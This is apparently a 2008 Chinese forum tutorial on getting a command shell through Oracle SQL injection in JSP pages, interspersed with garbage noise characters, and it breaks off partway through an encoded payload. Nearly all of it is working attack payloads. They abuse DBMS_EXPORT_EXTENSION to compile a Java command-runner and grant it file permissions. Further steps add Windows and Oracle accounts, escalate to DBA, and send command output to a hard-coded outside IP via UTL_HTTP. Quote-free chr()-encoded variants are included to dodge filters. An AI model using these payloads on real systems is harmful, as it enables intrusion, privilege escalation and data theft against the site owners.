5 |1 j; n. ^/ E3 v' M) j! l
7 z4 h$ L& o. s' D. f
介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
% G9 ^* [* u* d! j1 L% W2 [2 S$ Z# ^* x8 Y" ~9 p7 @' u, S. p
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
' C" F2 {0 C3 [3 ]$ q" b% Z: V# |! J6 F2 V' O8 F5 C- ~% c' o
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
$ G1 |" Z+ P4 }6 m: y) O4 q }$ a( ~! R, N
的形式即可。(用" 'a'|| "是为了让语句返回true值)* ~- G2 O7 Z0 r1 J5 Z9 k5 M
% I& d: j3 t. J- D
语句有点长,可能要用post提交。
6 ~, p9 r+ P6 m
8 E+ @- c; V) h2 K) Z$ t% C [, A3 G( D# ~
& T; n( F2 \0 {
以下是各个步骤:
8 e) V9 y. E) \' y
8 V, h* d- I% b( y1.创建包& W6 ]1 A' A4 p) F6 Y. H7 {! x. v
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:, i: Z3 o3 ^. E& \0 t/ f m
1 g$ u" ~0 @& u- f1 p h, W- H! ?
/xxx.jsp?id=1 and '1'<>'a'||(/ S W; a9 J8 T8 F9 X
* T |& ^0 I* t0 Z: ~4 |" A" [9 C, ?
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* N5 R* d7 t- _- Z+ S, P4 ?( Icreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
* ^: j* K! J* Y9 r Z/ jnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}" n- r4 R- m% e% o9 q& I8 g
}'''';END;'';END;--','SYS',0,'1',0) from dual T3 ]# X& P; a y; ]" ~
% z8 j( S5 G" U: v
)
! I/ p1 e) L I, m# l
\- j6 p: s7 m. C; h------------------------
/ E- V# ^) {7 ~9 d如果url有长度限制,可以把readFile()函数块去掉,即:6 I7 P: d$ ^* R( M
/xxx.jsp?id=1 and '1'<>'a'||(
. j3 i! }: h3 A5 p X/ e+ g# D
* R! o2 I* W# e4 ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# g1 {' O2 z# E* z' h% vcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
& d' S/ a) f, r7 w& pnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
* l" M- V- ~/ ?' k}'''';END;'';END;--','SYS',0,'1',0) from dual
$ K# U7 Q9 G) u+ C8 m. ]9 t) D( {, x* e3 K' v
)& {( O+ ^; {9 b* H# x/ K2 U
c, O0 N5 `6 s8 e s d9 s! J9 u, ^1 ]
同时把后面步骤 提到的 对readFile()的处理语句去掉。+ T0 d- _( h' D3 p% @! K$ O/ o
------------------------------
# X* s; Z9 y9 k# y+ d) |; q! B& k8 G* \8 E2 m7 Q
2.赋Java权限6 T" y' ^8 O2 {+ @4 J0 A" S& m
$ c+ J8 a4 n$ d- P! G' \
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
6 _, u/ J! w/ U1 E }. J& y7 {9 U
9 i* q* T- O B9 ~* D+ g; v. c) `5 y. H4 m4 ~* t' Q( `# h
3.创建函数
5 B; x* t( D# ~. }: T- ^9 q5 v3 i4 c+ G, h
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 k( J7 b0 z7 `create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual; y/ a. [7 { \, P6 u& G+ `6 k Y4 O
' U6 B, b2 r4 L! p. V* @select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ L+ z3 Y2 a* u6 ^* }; Y3 {
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
# R p8 S) }+ E0 L/ b* W
N( ~1 ?8 T3 ^5 o5 \4.赋public执行函数的权限
& h, S5 |8 [0 U8 T: ^9 x0 M+ a- Z% \/ X0 x" G; M0 Q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
% o5 U8 {0 s; C3 _7 q, e9 U3 ^& w; R! q# C* b9 j6 U/ D
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual# J3 v* t5 V' @ I/ a$ g
1 O7 n2 ?, K" ^0 Y- }+ o3 p) h8 z( f9 p1 Q2 U1 R
0 r9 D) V6 Q, y0 w9 s( N( }. }5.测试上面的几步是否成功: w- {9 N1 M9 M7 p1 `: f
9 e) {- U( w! ~and '1'<>'11'||(
% S* M$ ]0 X: M- C8 lselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
) T! r, A- \$ s3 e; j6 {)
( @. d; X8 y( _* S7 G' e. I$ P4 y5 v9 i$ \
and '1'<>(& E1 n& G4 t7 m% N e0 ^: q
select OBJECT_ID from all_objects where object_name ='LINXREADFILE', N" R/ s: ~1 M- t5 D- ]) M) L
)
( H& I/ Q: V4 r1 U1 j. W2 N+ m, [9 N/ D! R
6.执行命令:
1 j3 n! ], ?7 j: U9 ~* [" j$ |) M H& W5 n; {
/xxx.jsp?id=1 and '1'<>(
4 B) D4 a* l; @ P. Eselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
5 W* V5 i, i3 S# u' y4 }4 R)
* }" o2 N: A& T# c3 ?! n& O3 Y/ U" h* u" O8 J: `
/xxx.jsp?id=1 and '1'<>(
' M, F5 L$ K! D3 ^6 |& X2 Dselect sys.LinxReadFile('c:/boot.ini') from dual
. q: Z! [; v, l( L)
# t: |$ h) O- C% D: V
8 G. z1 [0 s8 n- J注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
9 `! p) l) i* Q. ~" V5 |如果要查看运行结果可以用 union :3 J5 s/ p& }: Q# f
% q$ ]$ `0 {# R/ g: D3 P# j
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
) G. |( p5 L V4 f1 N0 _/ S0 a1 T; Y
或者UTL_HTTP.request(:
" p* Y6 I" a R2 K( p% o7 P- v4 @! ^8 `% T# j/ v! V
/xxx.jsp?id=1 and '1'<>(* o( p- D' }% E9 l# o$ }4 Z2 N
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
; D! |1 g- ^$ N- Z, B' A2 b2 D)/ L, i M' @; x# I/ S, e
) X' g; r, d0 N* u6 i
/xxx.jsp?id=1 and '1'<>(
; v9 S7 E X3 `2 k; nSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual5 {/ X7 G4 m: t
)3 D2 D. G# t# ?7 j" k
. q: u1 ]/ d/ k4 {- b6 B; Y注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
8 C7 [/ l) }+ C- L* v. a, d
+ R; [7 Y* c+ g0 H, Q
, [8 {( q) O3 l6 i; X
5 Q6 k& q. N* X* }8 t- Q: D& R! q ^& b; e7 l# g+ Q+ D
5 \ A# |/ T( s1 T) F--------------------
# h, T% R( R. N0 m8 S
+ W3 O3 b& \! H( S% N( J6.内部变化
7 @; H, f2 g9 S0 y$ j+ z! H7 ^0 k4 m通过以下命令可以查看all_objects表达改变:
6 h; }* _ [7 r2 C+ B" D( v* @" Vselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
' q, z- B( u: o7 [
$ k7 K! Q+ Q$ N8 D7.删除我们创建的函数
, Y3 V. C$ }& X, `4 qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
Y9 U) W% B4 {drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
0 J/ e9 i7 w, U# T7 W/ a! B& z9 I! h; [9 O6 Z N7 o, f
7 ~: \ T$ z, c# b' H+ n3 G2 U3 P* ^8 o4 `4 B" I+ `0 z( P
$ N5 Q D+ K2 ?; H2 a l5 U* e9 b# G8 @: x& }2 ^; Y9 q* G
====================================================
( R# j1 d2 y4 C9 W* e0 t全文结束。谨以此文赠与我的朋友。
" K G3 P" W3 B: O3 m6 b: {+ L4 J' ^7 D/ }4 t
linx
9 u3 i: D, ~" H; x& p124829445
# {1 c! _! }6 }, N. |* }9 s8 R2008.1.12* p9 M( r% e1 Q3 i
linyujian@bjfu.edu.cn6 F* |4 k9 j6 d' H; @* M& F
. m6 K2 \! ^6 w6 V( `# C
9 t, \4 |; |: v1 `! X: ]
/ a+ U5 ^% h+ x x% s! l
. c( P9 y8 {" w6 P1 F
9 t6 _+ ?* |" n5 F- Q- T6 s" Z======================================================================# b7 q1 i+ H3 n% Y
- W7 B6 k# q! ? t测试漏洞的另一方法:! D& t- H9 x' j1 f- u- K
9 ^ U$ |7 q- W0 M, ]. C( g4 _创建oracle帐号:; A2 B1 c* H' @" Z: z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
V/ e& N/ ?* O8 S3 o' vCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
7 H. [! J& W$ x" D2 [+ }! ?9 B
' j* p( J' H/ X即:
A! ~$ ]. k" D4 Y* w- yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
/ Q7 |$ A9 w; c Y$ p Echr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual! r" i; Y/ @, R/ g
$ h6 P/ r7 e% P: Q. j
确定漏洞存在:
) p- T$ K' J4 i9 {0 K8 W/ E, x; @1<>(! k3 J; I( B5 P1 M( j/ b/ |
select user_id from all_users where username='LINXSQL'
/ K/ `' J0 ^2 n& p; {& A, {)
6 d6 m' P! g: S: Z, M% m" d( V. w$ H9 U7 m* Z8 W5 r1 @
给linxsql连接权限:3 s1 c2 A( U/ A1 @
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 U+ b8 c9 h w3 ]/ L, v0 WGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
+ }1 b) W0 `$ t% @* x
' S, `" w7 N) C- S# B/ E. L& f删除帐号:
2 }8 r/ U1 K& o6 A0 vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') d( a( G$ _& ]& o
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual6 G9 R/ C% d* u- p2 k
' g. j/ ?/ a! e+ j4 u======================
3 l7 h9 I0 C [, g, S8 O) m% B" K, f: H* R* G1 p
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:9 O+ U" p1 u! c; R: p# j' v$ b
( b5 l* ?+ A# S3 K& q5 w+ o
1.jsp?id=1 and '1'<>(0 @- H: [; E2 S) ]* B* p# Z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' R; T6 R# d+ z" C: f; A: S) Ccreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
1 @4 j$ D" q# p( j [$ J) and ... I8 }* J. i0 d# k. K- Z
+ O$ K. p4 [% @1.jsp?id=1 and '1'<>(
: N# h0 V2 ?& W" ~" oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
$ W+ B8 _" F" r) and ..." _ b0 M/ D4 E+ ~
# c+ R5 K! j! G4 Q1.jsp?id=1 and '1'<>(
5 r; @) r& x5 R# \. C6 g' OSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
6 v* k9 P% K$ s* Z, f! S) and ...6 A& ?( U" \$ u' }0 B2 b
9 o0 M; F: C& k0 \8 z% z' X' I' t
" [3 T0 @1 d! x$ t* G) d
4 }& @2 C$ @( [ @) h6 L" k
1.jsp?id=1 and '1'<>($ a5 `, |7 ?* u5 R7 z$ \
SELECT sys.Linx_Query('declare pragma
6 S8 u; `$ x( t: G$ x; E7 { tautonomous_transaction; begin execute immediate ''9 q% E) W+ K; z& {6 w
select 1 from dual/ F5 v5 C1 B* ~6 c/ r
''; commit; end;') from dual* |/ A5 E8 Q! s4 S5 T# V
) and ...8 w+ M( j( i8 P% Y
6 _% w6 ^$ t7 j2 W0 Z
多语句:3 v# ~" v- d; Q
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual4 j3 b% @' O3 B% Q' h1 F) \
0 l# @3 q! q Z6 r创建用户(除非当前用户有system权限,否则无法成功):. F5 t6 X8 z4 ~; b' m' x4 r/ ]
SELECT sys.Linx_Query('declare pragma8 a! X3 l# r) h$ b& R' e% k
autonomous_transaction; begin execute immediate ''
3 P: X6 A2 G8 E; E: t uCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User5 G9 X! H, [$ [( d
''; commit; end;') from dual
/ k0 a! i0 S$ u3 W' q% @9 L/ I
/ \* m. A+ O* ~ X1 p" |4 ]3 Y! S- Z
9 Y% g; D% Q! M4 ?- K( C' M+ C
( K, F! [ q6 F" q
# U* Y: J, A9 {
================# t' T8 F% N0 `, t" ]5 l) t* `
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()' m. V2 o! I1 n4 g& z6 i; o; n
& W3 ?% G9 T P5 K! a% R7 D2 F
1.创建函数
* L( y3 y$ ~2 qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, X6 c. Z6 G5 g1 h9 ^9 Kcreate or replace function Linx_Query (p
0 B& a. f. c4 ]/ M2 C- v! \varchar2) return number authid current_user is begin execute immediate
; o3 S0 U% S8 k' A3 H3 Y tp; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
7 r+ a& ~2 q* u) X3 b' \% @1 R" o# \6 a* S2 j
如果有权限,以下语句应该允许正常
* n1 j) K5 t& \! ^select sys.linx_query('select 1 from dual') from dual;+ o! q& u. Q' l# r# @
* W* N! e- I J0 c# J1 [
不然的话运行:5 Q6 s- k% W; o
& v, I q+ }, V s: sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 _, m7 p! g1 x% u3 _
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
- S( S" }. z; s( _# @, C2 Q
+ B& i( L V4 [% ^5 K' m' L2 d9 [- @1 b
7 n0 Z) \; {7 j& y1 F3 j9 I) v; g, R( K
2.创建包
9 D1 x6 f4 R! d7 ASELECT sys.Linx_Query('declare pragma
0 W3 L& [' P% Tautonomous_transaction; begin execute immediate ''
) r8 m- ]* s1 J3 ^* G* I- rcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
7 ] W% ?- K' V5 Knew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual3 l5 y7 P: }- b+ I6 K' ^, l
5 x" u2 |4 b* X7 |8 s
3.创建函数
1 ~4 N% l: c7 D$ w, ~SELECT sys.Linx_Query('declare pragma$ ]8 J9 C, [; }& \9 Z& y
autonomous_transaction; begin execute immediate ''! R' s1 q( F i S4 x
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual3 `0 x# A: _8 d* W# ~. U
% Q0 I. ?1 b* Q- v% R5 H, a: x' C' q4.给权限6 O4 }! g3 f2 b9 ^6 M! J
给用户SYSTEM执行权限:- c3 G$ E( n: A
+ x& O0 B1 l; d( i! F9 ]
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual( T0 {& Q0 P1 H( E- B
3 T* c/ Q: g9 T
2 {. C4 d: M0 z4 e
9 s, F9 d2 h. i5 m, Z3 I: i
5.执行函数
. W; _5 F( g* P I8 Vselect RunCMD2('cmd /c dir') from dual
' u1 T8 R8 e" U @
& \& a0 Q) |3 c! f4 e' p: q+ r0 z# h0 u8 v9 m# |
2 `8 a6 a0 [8 a3 I; H
$ }( |. y) y7 U
, b8 O: B$ _) o==================
, i1 {$ p; A4 e+ X================================) ?: g$ \9 m" k9 r$ D
( }7 |! i6 X2 z$ m
以下是无 " ' " 版:
9 F( C) [* k0 ~" I) C3 |. _; u+ j1 n, [' _9 ?- r. d, G
以下是各个步骤:
+ a c4 {) g. F1 P6 ~* A# I
' X) S/ `* Q& B* S7 W1.创建包
1 [! X. r K3 N& Y) |+ n通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
2 w" P8 O0 a/ k因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
; t- f4 c8 g( o6 d) C. ]& Z) ~: Q- X$ r8 I( h1 h5 u% |
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
5 H/ A! F) b/ h$ E( X8 p# b: [" Q
0 R+ a; B5 X) `' ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
( R f, J" z. Rchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||' Z3 E N; @& D
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
; U7 v D9 p& j0 ^2 k; B% s( Mchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
/ Y3 ?' x" q/ X2 F1 jchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
# S: M, r9 U! \% E7 schr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
5 T/ o* \, v& G' m- H. Dchr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
" k+ L! K7 s4 s+ P, Rchr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||0 n- B- L7 J0 C0 [
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||& X9 r3 P$ m9 f& j8 S& P6 F
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||! G6 U! I! M; F; f
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
6 z; Z7 s( J- x: I. Lchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||$ @) o+ T- i9 ~8 U- a: ^
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||% u* }$ j, n! N4 o! ]5 j
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||, b) Y4 ~7 w: z& h/ B0 q: p; Q. ^
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||5 o, i i5 |* W1 B: x
